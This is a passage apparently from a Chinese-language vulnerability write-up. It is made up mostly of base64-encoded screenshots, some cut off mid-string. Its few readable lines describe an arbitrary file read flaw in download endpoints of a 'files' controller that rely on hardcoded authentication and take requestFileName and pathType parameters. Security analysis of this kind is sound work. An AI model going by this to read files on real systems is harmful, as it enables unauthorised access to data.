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 truncated
|
||||
<h2 blockindex=50>2、任意文件读取</h2>
|
||||
<p blockindex=51><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=52>同样在files控制器中,我们发现了很多与下载相关的接口,并且都是通过硬编码进行鉴权的。</p>
|
||||
<p blockindex=53><img src=data:image/png;base64,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 truncated
|
||||
<p blockindex=54>例如这个接口,获取两个参数requestFileName和pathType</p>
|
||||
<p blockindex=55><img src="data:image/png;base64,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